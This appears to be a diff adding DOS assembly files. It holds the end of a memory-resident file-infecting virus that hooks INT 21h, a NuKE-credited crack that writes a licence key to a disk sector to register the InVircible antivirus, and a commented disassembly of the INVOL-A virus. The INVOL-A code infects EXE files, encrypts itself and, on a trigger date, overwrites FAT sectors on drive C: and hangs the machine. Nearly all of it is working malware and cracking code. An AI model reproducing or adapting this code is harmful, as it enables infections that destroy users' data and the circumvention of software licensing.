||||
|
||||
homey: jmp homey2 ; outa here
|
||||
db ' Dedicated to all the victims.. ' ; dedication note
|
||||
|
||||
homey2: pop ds ; pop
|
||||
pop es ; pop
|
||||
pop ds ; pop
|
||||
pop si ; pop
|
||||
pop di ; pop
|
||||
pop dx ; pop
|
||||
pop cx ; pop
|
||||
pop bx ; pop
|
||||
pop ax ; new virus-name
|
||||
; popcorn virus?
|
||||
jmp dword ptr cs:[(old_21-vstart)] ; heading for old
|
||||
; int21
|
||||
old_date dw 0 ; date/time
|
||||
old_time dw 0 ; saving place
|
||||
|
||||
|
||||
buffer: db 0cdh,20h,00 ; our lil' buffer
|
||||
buffer2 db 0,0 ; plus these two
|
||||
jump_add: db 0E9h,00,00,90h,90h; ; what we put instead
|
||||
; of org. jmp
|
||||
exit2: jmp exit ; get outa here
|
||||
|
||||
load: mov ax,3030h ; Are we already in
|
||||
int 21h ; this users memory
|
||||
cmp bx,3030h ; well, check it!
|
||||
je exit2 ; if so, outa here
|
||||
|
||||
|
||||
dec_here:
|
||||
push cs ; push
|
||||
pop ds ; pop
|
||||
|
||||
mov ah,4ah ; req. very much mem
|
||||
mov bx,0ffffh ; ret's largest size
|
||||
int 21h
|
||||
|
||||
mov ah,4ah ; ok, so now we
|
||||
sub bx,(vend-vstart+15)/16+1 ; subtract the size of
|
||||
jnc intme ; of our virus. If no
|
||||
jmp exit2 ; error go on, else
|
||||
; fuck it
|
||||
intme:
|
||||
int 21h ; int me! int me!
|
||||
|
||||
mov ah,48h
|
||||
mov bx,(vend-vstart+15)/16 ; req. last pages
|
||||
int 21h ; allocate to the virus
|
||||
jnc decme ; no error, go on
|
||||
jmp exit2 ; les get outa dis place
|
||||
|
||||
decme:
|
||||
dec ax ; oh? a dec, no push/pop
|
||||
; how glad i am :)
|
||||
push es ; blurk! yet another push
|
||||
|
||||
mov es,ax ; set es to ax
|
||||
jmp dos_own ; carry on comrade
|
||||
db ' Greets to B-real!/IR ' ; greetings to our
|
||||
; latest member, a
|
||||
dos_own: ; friend of mine
|
||||
mov byte ptr es:[0],'Z' ; this memory will
|
||||
mov word ptr es:[1],8 ; have DOS as it's
|
||||
; owner
|
||||
inc ax ; opposite of dec, eh?
|
||||
; yet another new-commer
|
||||
lea si,[bp+offset vstart] ; copy to memory
|
||||
mov di,0 ; (new block) xor di,di
|
||||
jmp copy_rest ; go on
|
||||
db ' It''s like this and like that and like thisena ' ; lil'
|
||||
|
||||
copy_rest:
|
||||
mov es,ax ; es as ax
|
||||
mov cx,(vend-vstart+5)/2 ; the whole thing
|
||||
cld ; bytes, clr direction
|
||||
rep movsw
|
||||
jmp make_res ; now, make it resident
|
||||
db ' It''s like that and like this and like thatena '; thang
|
||||
|
||||
make_res:
|
||||
xor ax,ax ; atlast!
|
||||
mov ds,ax ; put all shit to memory
|
||||
push ds ; don't push me around :)
|
||||
lds ax,ds:[21h*4] ; vectorswapping
|
||||
jmp swap_sect ; (manually!)
|
||||
db ' It''s like this.. ' ; by Snoop 'n Dre.
|
||||
|
||||
swap_sect:
|
||||
mov word ptr es:[old_21-vstart],ax ; where's our old int21
|
||||
mov word ptr es:[old_21-vstart+2],ds ; stored? well see here
|
||||
pop ds
|
||||
mov word ptr ds:[21h*4],(new_21-vstart) ; point to our virus
|
||||
mov ds:[21h*4+2],es ; instead of old21
|
||||
|
||||
push cs ; no cmt.
|
||||
pop ds ; to much 'bout 'em
|
||||
; today, eh? :)
|
||||
|
||||
exit:
|
||||
push cs ; no cmt.
|
||||
pop es ; see above
|
||||
|
||||
mov cx,5 ; five bytes
|
||||
jmp copyback ; keep on moving..
|
||||
db ' Love to Lisa! ' ; To the girl i love
|
||||
copyback:
|
||||
mov si,offset buffer ; copy back org. jmp
|
||||
add si,bp ; and run the org. proggy
|
||||
jmp movdi_it ; yeah, les do that
|
||||
db ' All i ever wanted.. ' ; Lisa, the one and only
|
||||
|
||||
movdi_it:
|
||||
mov di,100h ; di = 100h
|
||||
repne movsb
|
||||
jmp lastshit ; atlast, soon the end
|
||||
db ' All i ever asked for.. ' ; Love in eternality!
|
||||
|
||||
lastshit:
|
||||
mov bp,100h ; bp equ 100h
|
||||
jmp bp ; jmp to bp (SOF)
|
||||
|
||||
|
||||
vend equ $ ; end of virus
|
||||
|
||||
virus ends
|
||||
end start
|
||||
@@ -0,0 +1,86 @@
|
||||
;
|
||||
; InVircible v6.02 Registrator, (c)1995 ûirogen
|
||||
;
|
||||
; This little utility simply installs InVircible's registration key onto
|
||||
; your hard drive. It is located on the last sector of the first cylinder
|
||||
; and is designated by the word 48A5h residing at the end of the sector.
|
||||
; After installing this, all current and future copies of InVircible installed
|
||||
; on that hard drive will be registered, or licenced rather.
|
||||
;
|
||||
|
||||
segment cseg
|
||||
assume cs: cseg, ds: cseg, es: cseg, ss: cseg
|
||||
|
||||
cr equ 0ah
|
||||
lf equ 0dh
|
||||
|
||||
org 100h
|
||||
start:
|
||||
lea dx,intro ; display intro / prompt
|
||||
call disp
|
||||
get_y_n:
|
||||
mov ah,8 ; make sure the user wants to
|
||||
int 21h
|
||||
cmp al,'Y'
|
||||
jz yes
|
||||
cmp al,'y'
|
||||
jz yes
|
||||
cmp al,'N'
|
||||
jz no
|
||||
cmp al,'n'
|
||||
jz no
|
||||
jmp get_y_n
|
||||
yes:
|
||||
call disp_al
|
||||
mov dh,1
|
||||
mov cx,1
|
||||
call read_sec ; read boot sector
|
||||
mov dh,0
|
||||
mov cx,word ptr sec_buf[18h] ; get cylinder per sector
|
||||
call read_sec ; read last sector of cyl 0
|
||||
mov word ptr sec_buf[1FEh],0A548h ; throw word
|
||||
mov ax,0301h ; write new sector to disk
|
||||
int 13h
|
||||
lea dx,done_msg
|
||||
jmp exit
|
||||
no:
|
||||
call disp_al
|
||||
lea dx,abort_msg
|
||||
exit:
|
||||
call disp
|
||||
ret
|
||||
|
||||
|
||||
read_sec:
|
||||
mov ax,0201h
|
||||
lea bx,sec_buf
|
||||
mov dl,80h
|
||||
int 13h
|
||||
|
||||
ret
|
||||
disp:
|
||||
mov ah,9
|
||||
int 21h
|
||||
ret
|
||||
|
||||
disp_al:
|
||||
mov dl,al
|
||||
mov ah,2
|
||||
int 21h
|
||||
ret
|
||||
|
||||
intro:
|
||||
db cr,lf,' ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿'
|
||||
db cr,lf,' ³ InVircible v6.02 Registrator, (c)1995 ûirogen [NuKE] ³'
|
||||
db cr,lf,' ³ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄij'
|
||||
db cr,lf,' ³ Please distribute all over the known universe ³'
|
||||
db cr,lf,' ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ'
|
||||
db cr,lf,' WARNING: This software is about to make changes to the last sector'
|
||||
db cr,lf,' of cylinfer 0, head 0 of your hard drive. It is unlikely that any'
|
||||
db cr,lf,' problems will arise, but be cautious.'
|
||||
db cr,lf,' Do you wish to continue [Y/N]? $'
|
||||
done_msg db cr,lf,cr,lf, ' InVircible Registrator Complete!$'
|
||||
abort_msg db cr,lf,cr,lf, ' InVircible Registrator Aborted By User!$'
|
||||
sec_buf:
|
||||
cseg ends
|
||||
end start
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,563 @@
|
||||
; INVOL-A INT 21h handler Aug 26, 1992
|
||||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||||
|
||||
0b59:0014 3d 00 4b cmp ax,4b00
|
||||
0b59:0017 74 03 jz 001c
|
||||
0b59:0019 e9 7b 02 jmp ORIGINAL_21h (0297)
|
||||
|
||||
0b59:001c 50 push ax
|
||||
0b59:001d 53 push bx
|
||||
0b59:001e 52 push dx
|
||||
0b59:001f 1e push ds
|
||||
0b59:0020 06 push es
|
||||
0b59:0021 b8 02 3d mov ax,3d02
|
||||
0b59:0024 cd 21 int 21
|
||||
0b59:0026 73 03 jae 002b
|
||||
0b59:0028 e9 67 02 jmp 0292
|
||||
0b59:002b 8b d8 mov bx,ax
|
||||
0b59:002d 8c c8 mov ax,cs
|
||||
0b59:002f 8e d8 mov ds,ax
|
||||
0b59:0031 b4 3f mov ah,3f
|
||||
0b59:0033 b9 18 00 mov cx,0018
|
||||
0b59:0036 ba 70 05 mov dx,0570
|
||||
0b59:0039 cd 21 int 21
|
||||
0b59:003b 72 4d jb 008a
|
||||
0b59:003d 81 3e 70 05 4d
|
||||
5a cmp word [0570],5a4d
|
||||
0b59:0043 75 45 jnz 008a
|
||||
0b59:0045 b4 00 mov ah,00
|
||||
0b59:0047 cd 1a int 1a
|
||||
0b59:0049 89 16 9d 02 mov [029d],dx
|
||||
0b59:004d b8 02 42 mov ax,4202
|
||||
0b59:0050 b9 00 00 mov cx,0000
|
||||
0b59:0053 ba 00 00 mov dx,0000
|
||||
0b59:0056 cd 21 int 21
|
||||
0b59:0058 72 30 jb 008a
|
||||
0b59:005a 89 16 6c 05 mov [056c],dx
|
||||
0b59:005e a3 6e 05 mov [056e],ax
|
||||
0b59:0061 2d 02 00 sub ax,0002
|
||||
0b59:0064 83 da 00 sbb dx,00
|
||||
0b59:0067 8b ca mov cx,dx
|
||||
0b59:0069 8b d0 mov dx,ax
|
||||
0b59:006b b8 00 42 mov ax,4200
|
||||
0b59:006e cd 21 int 21
|
||||
0b59:0070 72 18 jb 008a
|
||||
0b59:0072 b9 02 00 mov cx,0002
|
||||
0b59:0075 ba 88 05 mov dx,0588
|
||||
0b59:0078 b4 3f mov ah,3f
|
||||
0b59:007a cd 21 int 21
|
||||
0b59:007c 72 0c jb 008a
|
||||
0b59:007e a1 82 05 mov ax,[0582]
|
||||
0b59:0081 33 06 88 05 xor ax,[0588]
|
||||
0b59:0085 3d 4a 4c cmp ax,4c4a
|
||||
0b59:0088 75 03 jnz 008d
|
||||
0b59:008a e9 01 02 jmp 028e
|
||||
0b59:008d b4 2a mov ah,2a
|
||||
0b59:008f cd 21 int 21
|
||||
0b59:0091 80 fa 13 cmp dl,13
|
||||
0b59:0094 74 03 jz DO_DAMAGE (0099)
|
||||
0b59:0096 e9 b7 00 jmp 0150
|
||||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||||
DO_DAMAGE:
|
||||
|
||||
; first display the message below
|
||||
|
||||
0b59:0099 b8 02 00 mov ax,0002
|
||||
0b59:009c cd 10 int 10
|
||||
0b59:009e ba b1 00 mov dx,00b1
|
||||
0b59:00a1 b4 09 mov ah,09
|
||||
0b59:00a3 cd 21 int 21
|
||||
|
||||
; then overwrite the first 10 sectors of FAT-1 on C: drive
|
||||
|
||||
0b59:00a5 b0 02 mov al,02
|
||||
0b59:00a7 b9 0a 00 mov cx,000a
|
||||
0b59:00aa ba 01 00 mov dx,0001
|
||||
0b59:00ad cd 26 int 26
|
||||
|
||||
; Hang the machine
|
||||
|
||||
0b59:00af eb fe jmp 00af
|
||||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||||
0b59:00b1 59 6f 75 20 68 61 76 65 |You have|
|
||||
0b59:00b9 20 68 65 6c 70 65 64 20 | helped |
|
||||
0b59:00c1 73 70 72 65 61 64 20 74 |spread t|
|
||||
0b59:00c9 68 69 73 20 76 69 72 75 |his viru|
|
||||
0b59:00d1 73 2e 0d 0a 54 68 69 73 |s...This|
|
||||
0b59:00d9 20 68 61 73 20 62 65 65 | has bee|
|
||||
0b59:00e1 6e 20 61 20 6d 65 73 73 |n a mess|
|
||||
0b59:00e9 61 67 65 20 66 72 6f 6d |age from|
|
||||
0b59:00f1 20 79 6f 75 72 20 66 72 | your fr|
|
||||
0b59:00f9 69 65 6e 64 6c 79 0d 0a |iendly..|
|
||||
0b59:0101 6e 65 69 67 68 62 6f 72 |neighbor|
|
||||
0b59:0109 68 6f 6f 64 20 69 6e 66 |hood inf|
|
||||
0b59:0111 65 63 74 69 6f 6e 20 73 |ection s|
|
||||
0b59:0119 65 72 76 69 63 65 2e 0d |ervice..|
|
||||
0b59:0121 0a 54 68 61 6e 6b 20 79 |.Thank y|
|
||||
0b59:0129 6f 75 20 66 6f 72 20 79 |ou for y|
|
||||
0b59:0131 6f 75 72 20 69 6e 76 6f |our invo|
|
||||
0b59:0139 6c 75 6e 74 61 72 79 20 |luntary |
|
||||
0b59:0141 63 6f 6f 70 65 72 61 74 |cooperat|
|
||||
0b59:0149 69 6f 6e 2e 0d 0a 24 |ion...$|
|
||||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||||
0b59:0150 a1 6e 05 mov ax,[056e]
|
||||
0b59:0153 25 0f 00 and ax,000f
|
||||
0b59:0156 75 0a jnz 0162
|
||||
0b59:0158 8b 16 6c 05 mov dx,[056c]
|
||||
0b59:015c a1 6e 05 mov ax,[056e]
|
||||
0b59:015f eb 1d jmp 017e
|
||||
0b59:0161 90 nop
|
||||
|
||||
0b59:0162 b2 10 mov dl,10
|
||||
0b59:0164 2a d0 sub dl,al
|
||||
0b59:0166 b6 00 mov dh,00
|
||||
0b59:0168 01 16 6e 05 add [056e],dx
|
||||
0b59:016c 83 16 6c 05 00 adc word [056c],00
|
||||
0b59:0171 b9 00 00 mov cx,0000
|
||||
0b59:0174 b8 02 42 mov ax,4202
|
||||
0b59:0177 cd 21 int 21
|
||||
0b59:0179 73 03 jae 017e
|
||||
0b59:017b e9 10 01 jmp 028e
|
||||
|
||||
0b59:017e b9 04 00 mov cx,0004
|
||||
|
||||
0b59:0181 d1 ea shr dx,1
|
||||
0b59:0183 d1 d8 rcr ax,1
|
||||
0b59:0185 e2 fa loop 0181
|
||||
|
||||
0b59:0187 2b 06 78 05 sub ax,[0578]
|
||||
0b59:018b 01 06 7a 05 add [057a],ax
|
||||
0b59:018f 8b 16 86 05 mov dx,[0586]
|
||||
0b59:0193 89 16 a6 04 mov [04a6],dx
|
||||
0b59:0197 8b 16 84 05 mov dx,[0584]
|
||||
0b59:019b 89 16 a4 04 mov [04a4],dx
|
||||
0b59:019f 8b 16 7e 05 mov dx,[057e]
|
||||
0b59:01a3 89 16 9b 04 mov [049b],dx
|
||||
0b59:01a7 8b 16 80 05 mov dx,[0580]
|
||||
0b59:01ab 89 16 a0 04 mov [04a0],dx
|
||||
0b59:01af a3 86 05 mov [0586],ax
|
||||
0b59:01b2 c7 06 84 05 58 05 mov word [0584],0558
|
||||
0b59:01b8 05 5f 00 add ax,005f
|
||||
0b59:01bb a3 7e 05 mov [057e],ax
|
||||
0b59:01be c7 06 80 05 00 01 mov word [0580],0100
|
||||
0b59:01c4 a1 9d 02 mov ax,[029d]
|
||||
0b59:01c7 a3 82 05 mov [0582],ax
|
||||
0b59:01ca be 14 00 mov si,0014
|
||||
0b59:01cd 8c df mov di,ds
|
||||
0b59:01cf 8e c7 mov es,di
|
||||
0b59:01d1 bf 88 05 mov di,0588
|
||||
0b59:01d4 b9 ac 02 mov cx,02ac
|
||||
0b59:01d7 8b 16 9d 02 mov dx,[029d]
|
||||
|
||||
0b59:01db fc cld
|
||||
0b59:01dc ad lodsw
|
||||
0b59:01dd 33 c2 xor ax,dx
|
||||
0b59:01df ab stosw
|
||||
0b59:01e0 e2 fa loop 01dc
|
||||
|
||||
0b59:01e2 be 9c 02 mov si,029c
|
||||
0b59:01e5 d1 ea shr dx,1
|
||||
0b59:01e7 73 04 jae 01ed
|
||||
0b59:01e9 c6 05 90 mov byte [di],90
|
||||
0b59:01ec 47 inc di
|
||||
0b59:01ed a5 movs
|
||||
0b59:01ee a5 movs
|
||||
0b59:01ef a5 movs
|
||||
0b59:01f0 b9 0a 00 mov cx,000a
|
||||
0b59:01f3 83 f9 03 cmp cx,03
|
||||
0b59:01f6 75 02 jnz 01fa
|
||||
0b59:01f8 8b ef mov bp,di
|
||||
0b59:01fa d1 ea shr dx,1
|
||||
0b59:01fc 73 04 jae 0202
|
||||
0b59:01fe c6 05 90 mov byte [di],90
|
||||
0b59:0201 47 inc di
|
||||
0b59:0202 a5 movsw
|
||||
0b59:0203 e2 ee loop 01f3
|
||||
0b59:0205 b0 e2 mov al,e2
|
||||
0b59:0207 aa stosb
|
||||
0b59:0208 2b ef sub bp,di
|
||||
0b59:020a 4d dec bp
|
||||
0b59:020b 8b c5 mov ax,bp
|
||||
0b59:020d aa stosb
|
||||
0b59:020e b0 e9 mov al,e9
|
||||
0b59:0210 aa stosb
|
||||
0b59:0211 b8 a0 02 mov ax,02a0
|
||||
0b59:0214 2b c7 sub ax,di
|
||||
0b59:0216 05 88 05 add ax,0588
|
||||
0b59:0219 ab stosw
|
||||
0b59:021a b8 4a 4c mov ax,4c4a
|
||||
0b59:021d 33 06 9d 02 xor ax,[029d]
|
||||
0b59:0221 89 05 mov [di],ax
|
||||
0b59:0223 83 c7 02 add di,02
|
||||
0b59:0226 81 ef 88 05 sub di,0588
|
||||
0b59:022a 8b cf mov cx,di
|
||||
0b59:022c ba 88 05 mov dx,0588
|
||||
0b59:022f b4 40 mov ah,40
|
||||
0b59:0231 cd 21 int 21
|
||||
0b59:0233 72 59 jb 028e
|
||||
0b59:0235 01 06 6e 05 add [056e],ax
|
||||
0b59:0239 83 16 6c 05 00 adc word [056c],00
|
||||
0b59:023e 8b 16 6c 05 mov dx,[056c]
|
||||
0b59:0242 a1 6e 05 mov ax,[056e]
|
||||
0b59:0245 8a f2 mov dh,dl
|
||||
0b59:0247 8a d4 mov dl,ah
|
||||
0b59:0249 d1 ea shr dx,1
|
||||
0b59:024b b4 00 mov ah,00
|
||||
0b59:024d d0 d4 rcl ah,1
|
||||
0b59:024f 42 inc dx
|
||||
0b59:0250 89 16 74 05 mov [0574],dx
|
||||
0b59:0254 a3 72 05 mov [0572],ax
|
||||
0b59:0257 8b 16 6c 05 mov dx,[056c]
|
||||
0b59:025b a1 6e 05 mov ax,[056e]
|
||||
0b59:025e b9 04 00 mov cx,0004
|
||||
|
||||
0b59:0261 d1 ea shr dx,1
|
||||
0b59:0263 d1 d8 rcr ax,1
|
||||
0b59:0265 e2 fa loop 0261
|
||||
|
||||
0b59:0267 2b 06 78 05 sub ax,[0578]
|
||||
0b59:026b 29 06 7a 05 sub [057a],ax
|
||||
0b59:026f 73 06 jae 0277
|
||||
0b59:0271 c7 06 7a 05 00 00 mov word [057a],0000
|
||||
0b59:0277 b9 00 00 mov cx,0000
|
||||
0b59:027a ba 00 00 mov dx,0000
|
||||
0b59:027d b8 00 42 mov ax,4200
|
||||
0b59:0280 cd 21 int 21
|
||||
0b59:0282 72 0a jb 028e
|
||||
0b59:0284 b9 18 00 mov cx,0018
|
||||
0b59:0287 ba 70 05 mov dx,0570
|
||||
0b59:028a b4 40 mov ah,40
|
||||
0b59:028c cd 21 int 21
|
||||
|
||||
0b59:028e b4 3e mov ah,3e
|
||||
0b59:0290 cd 21 int 21
|
||||
0b59:0292 07 pop es
|
||||
0b59:0293 1f pop ds
|
||||
0b59:0294 5a pop dx
|
||||
0b59:0295 5b pop bx
|
||||
0b59:0296 58 pop ax
|
||||
|
||||
ORIGINAL_21h:
|
||||
|
||||
0b59:0297 ea eb 40 19 00 jmp 0019:40eb
|
||||
|
||||
0b59:029c ba c4 68 mov dx,68c4
|
||||
0b59:029f b9 ac 02 mov cx,02ac
|
||||
0b59:02a2 8c dd mov bp,ds
|
||||
0b59:02a4 8c c8 mov ax,cs
|
||||
0b59:02a6 8e d8 mov ds,ax
|
||||
0b59:02a8 8e c0 mov es,ax
|
||||
0b59:02aa 33 f6 xor si,si
|
||||
0b59:02ac 8b fe mov di,si
|
||||
|
||||
0b59:02ae fc cld
|
||||
0b59:02af 90 nop
|
||||
0b59:02b0 ad lodsw
|
||||
0b59:02b1 90 nop
|
||||
0b59:02b2 33 c2 xor ax,dx
|
||||
0b59:02b4 ab stosw
|
||||
0b59:02b5 90 nop
|
||||
0b59:02b6 8e dd mov ds,bp
|
||||
0b59:02b8 be 80 00 mov si,0080
|
||||
0b59:02bb bf 66 05 mov di,0566
|
||||
0b59:02be b9 40 00 mov cx,0040
|
||||
0b59:02c1 f3 repz
|
||||
0b59:02c2 a5 movsw
|
||||
0b59:02c3 8c c0 mov ax,es
|
||||
0b59:02c5 8e d8 mov ds,ax
|
||||
0b59:02c7 8b c5 mov ax,bp
|
||||
0b59:02c9 05 10 00 add ax,0010
|
||||
0b59:02cc 01 06 92 04 add [0492],ax
|
||||
0b59:02d0 01 06 87 04 add [0487],ax
|
||||
|
||||
; Hook INT 21h
|
||||
|
||||
0b59:02d4 b8 00 00 mov ax,0000
|
||||
0b59:02d7 8e d8 mov ds,ax
|
||||
0b59:02d9 c4 1e 84 00 les bx,[0084]
|
||||
0b59:02dd 81 fb b6 0c cmp bx,0cb6
|
||||
0b59:02e1 75 14 jnz 02f7
|
||||
0b59:02e3 26 80 3f 9c cmp byte es:[bx],9c
|
||||
0b59:02e7 75 0e jnz 02f7
|
||||
0b59:02e9 26 c4 06 c5 02 les ax,es:[02c5]
|
||||
0b59:02ee fa cli
|
||||
0b59:02ef a3 84 00 mov [0084],ax
|
||||
0b59:02f2 8c 06 86 00 mov [0086],es
|
||||
0b59:02f6 fb sti
|
||||
|
||||
0b59:02f7 8c c8 mov ax,cs
|
||||
0b59:02f9 8e d8 mov ds,ax
|
||||
0b59:02fb 8e c0 mov es,ax
|
||||
0b59:02fd b8 00 3d mov ax,3d00
|
||||
0b59:0300 ba 94 04 mov dx,0494
|
||||
0b59:0303 cd 21 int 21
|
||||
0b59:0305 72 79 jb 0380
|
||||
0b59:0307 8b d8 mov bx,ax
|
||||
0b59:0309 ba f0 06 mov dx,06f0
|
||||
0b59:030c b9 00 04 mov cx,0400
|
||||
0b59:030f b4 3f mov ah,3f
|
||||
0b59:0311 cd 21 int 21
|
||||
0b59:0313 72 6e jb 0383
|
||||
0b59:0315 8b c8 mov cx,ax
|
||||
0b59:0317 a3 78 05 mov [0578],ax
|
||||
0b59:031a be f0 06 mov si,06f0
|
||||
|
||||
|
||||
0b59:031d ac lodsb
|
||||
0b59:031e 3c 44 cmp al,44 ; 'D'
|
||||
0b59:0320 74 06 jz 0328
|
||||
0b59:0322 3c 64 cmp al,64 ; 'd'
|
||||
0b59:0324 e0 f7 loopnz 031d
|
||||
|
||||
0b59:0326 e3 5e jcxz 0386
|
||||
|
||||
0b59:0328 bf a2 04 mov di,04a2
|
||||
|
||||
0b59:032b ac lodsb
|
||||
0b59:032c 3c 61 cmp al,61 ; 'a'
|
||||
0b59:032e 72 02 jb 0332
|
||||
0b59:0330 2c 20 sub al,20
|
||||
0b59:0332 ae scasb
|
||||
0b59:0333 e1 f6 loopz 032b
|
||||
0b59:0335 e3 4f jcxz 0386
|
||||
|
||||
0b59:0337 81 ff a8 04 cmp di,04a8
|
||||
0b59:033b e0 e0 loopnz 031d
|
||||
0b59:033d 8b fe mov di,si
|
||||
0b59:033f 4f dec di
|
||||
0b59:0340 b0 3d mov al,3d
|
||||
0b59:0342 f2 repnz
|
||||
0b59:0343 ae scasb
|
||||
0b59:0344 b0 41 mov al,41
|
||||
0b59:0346 ae scasb
|
||||
0b59:0347 77 fd ja 0346
|
||||
0b59:0349 8b f7 mov si,di
|
||||
0b59:034b b0 20 mov al,20
|
||||
0b59:034d ae scasb
|
||||
0b59:034e 72 fd jb 034d
|
||||
0b59:0350 c6 45 ff 00 mov byte [-01+di],00
|
||||
0b59:0354 8b fe mov di,si
|
||||
0b59:0356 83 ef 04 sub di,04
|
||||
0b59:0359 80 3c 3a cmp byte [si],3a ; ':'
|
||||
0b59:035c 74 04 jz 0362
|
||||
0b59:035e 4e dec si
|
||||
0b59:035f eb 05 jmp 0366
|
||||
0b59:0361 90 nop
|
||||
|
||||
0b59:0362 83 c7 02 add di,02
|
||||
0b59:0365 46 inc si
|
||||
0b59:0366 80 3c 5c cmp byte [si],5c ; '\'
|
||||
0b59:0369 75 01 jnz 036c
|
||||
0b59:036b 47 inc di
|
||||
|
||||
0b59:036c 8b d7 mov dx,di
|
||||
0b59:036e be a8 04 mov si,04a8
|
||||
0b59:0371 b9 03 00 mov cx,0003
|
||||
0b59:0374 f3 repz
|
||||
0b59:0375 a4 movsb
|
||||
0b59:0376 b8 02 3d mov ax,3d02
|
||||
0b59:0379 cd 21 int 21
|
||||
0b59:037b 72 09 jb 0386
|
||||
0b59:037d e9 92 00 jmp 0412
|
||||
0b59:0380 e9 07 01 jmp 048a
|
||||
0b59:0383 e9 00 01 jmp 0486
|
||||
|
||||
0b59:0386 b4 3e mov ah,3e
|
||||
0b59:0388 cd 21 int 21
|
||||
0b59:038a 72 f4 jb 0380
|
||||
0b59:038c b8 02 3d mov ax,3d02
|
||||
0b59:038f cd 21 int 21
|
||||
0b59:0391 72 ed jb 0380
|
||||
0b59:0393 8b d8 mov bx,ax
|
||||
0b59:0395 b4 3f mov ah,3f
|
||||
0b59:0397 b9 ff ff mov cx,ffff
|
||||
0b59:039a ba 02 07 mov dx,0702
|
||||
0b59:039d cd 21 int 21
|
||||
0b59:039f 72 e2 jb 0383
|
||||
0b59:03a1 bf f0 06 mov di,06f0
|
||||
0b59:03a4 be b5 04 mov si,04b5
|
||||
0b59:03a7 b9 12 00 mov cx,0012
|
||||
0b59:03aa f3 repz
|
||||
0b59:03ab a4 movsb
|
||||
0b59:03ac b8 00 42 mov ax,4200
|
||||
0b59:03af b9 00 00 mov cx,0000
|
||||
0b59:03b2 ba 00 00 mov dx,0000
|
||||
0b59:03b5 cd 21 int 21
|
||||
0b59:03b7 72 ca jb 0383
|
||||
0b59:03b9 8b 0e 78 05 mov cx,[0578]
|
||||
0b59:03bd 83 c1 12 add cx,12
|
||||
0b59:03c0 90 nop
|
||||
0b59:03c1 ba f0 06 mov dx,06f0
|
||||
0b59:03c4 b4 40 mov ah,40
|
||||
0b59:03c6 cd 21 int 21
|
||||
0b59:03c8 72 b9 jb 0383
|
||||
0b59:03ca b4 3e mov ah,3e
|
||||
0b59:03cc cd 21 int 21
|
||||
0b59:03ce 72 b0 jb 0380
|
||||
0b59:03d0 b8 13 80 mov ax,8013
|
||||
0b59:03d3 a3 52 05 mov [0552],ax
|
||||
0b59:03d6 b8 14 00 mov ax,0014
|
||||
0b59:03d9 a3 ff 04 mov [04ff],ax
|
||||
0b59:03dc b8 23 00 mov ax,0023
|
||||
0b59:03df a3 04 05 mov [0504],ax
|
||||
0b59:03e2 b9 04 00 mov cx,0004
|
||||
0b59:03e5 be c8 04 mov si,04c8
|
||||
0b59:03e8 bf 58 05 mov di,0558
|
||||
0b59:03eb f3 repz
|
||||
0b59:03ec a5 movs
|
||||
0b59:03ed be d0 04 mov si,04d0
|
||||
0b59:03f0 bf 04 07 mov di,0704
|
||||
0b59:03f3 b9 21 00 mov cx,0021
|
||||
0b59:03f6 f3 repz
|
||||
0b59:03f7 a5 movs
|
||||
0b59:03f8 b4 3c mov ah,3c
|
||||
0b59:03fa b9 02 00 mov cx,0002
|
||||
0b59:03fd ba a8 04 mov dx,04a8
|
||||
0b59:0400 cd 21 int 21
|
||||
0b59:0402 73 03 jae 0407
|
||||
0b59:0404 e9 83 00 jmp 048a
|
||||
0b59:0407 8b d8 mov bx,ax
|
||||
0b59:0409 c7 06 62 05 42
|
||||
00 mov word [0562],0042
|
||||
0b59:040f eb 4c jmp 045d
|
||||
0b59:0411 90 nop
|
||||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||||
0b59:0412 8b c8 mov cx,ax
|
||||
0b59:0414 b4 3e mov ah,3e
|
||||
0b59:0416 cd 21 int 21
|
||||
0b59:0418 8b d9 mov bx,cx
|
||||
0b59:041a 72 6a jb 0486
|
||||
0b59:041c ba f0 06 mov dx,06f0
|
||||
0b59:041f b9 ff ff mov cx,ffff
|
||||
0b59:0422 b4 3f mov ah,3f
|
||||
0b59:0424 cd 21 int 21
|
||||
0b59:0426 72 5e jb 0486
|
||||
0b59:0428 a3 62 05 mov [0562],ax
|
||||
0b59:042b a1 02 07 mov ax,[0702]
|
||||
0b59:042e 3d 4a 4c cmp ax,4c4a
|
||||
0b59:0431 74 53 jz 0486
|
||||
0b59:0433 a1 f6 06 mov ax,[06f6]
|
||||
0b59:0436 a3 ff 04 mov [04ff],ax
|
||||
0b59:0439 a1 f8 06 mov ax,[06f8]
|
||||
0b59:043c a3 04 05 mov [0504],ax
|
||||
0b59:043f a1 f4 06 mov ax,[06f4]
|
||||
0b59:0442 a3 52 05 mov [0552],ax
|
||||
0b59:0445 b9 04 00 mov cx,0004
|
||||
0b59:0448 be fa 06 mov si,06fa
|
||||
0b59:044b bf 58 05 mov di,0558
|
||||
0b59:044e f3 repz
|
||||
0b59:044f a5 movs
|
||||
0b59:0450 b9 00 00 mov cx,0000
|
||||
0b59:0453 ba 00 00 mov dx,0000
|
||||
0b59:0456 b8 00 42 mov ax,4200
|
||||
0b59:0459 cd 21 int 21
|
||||
0b59:045b 72 29 jb 0486
|
||||
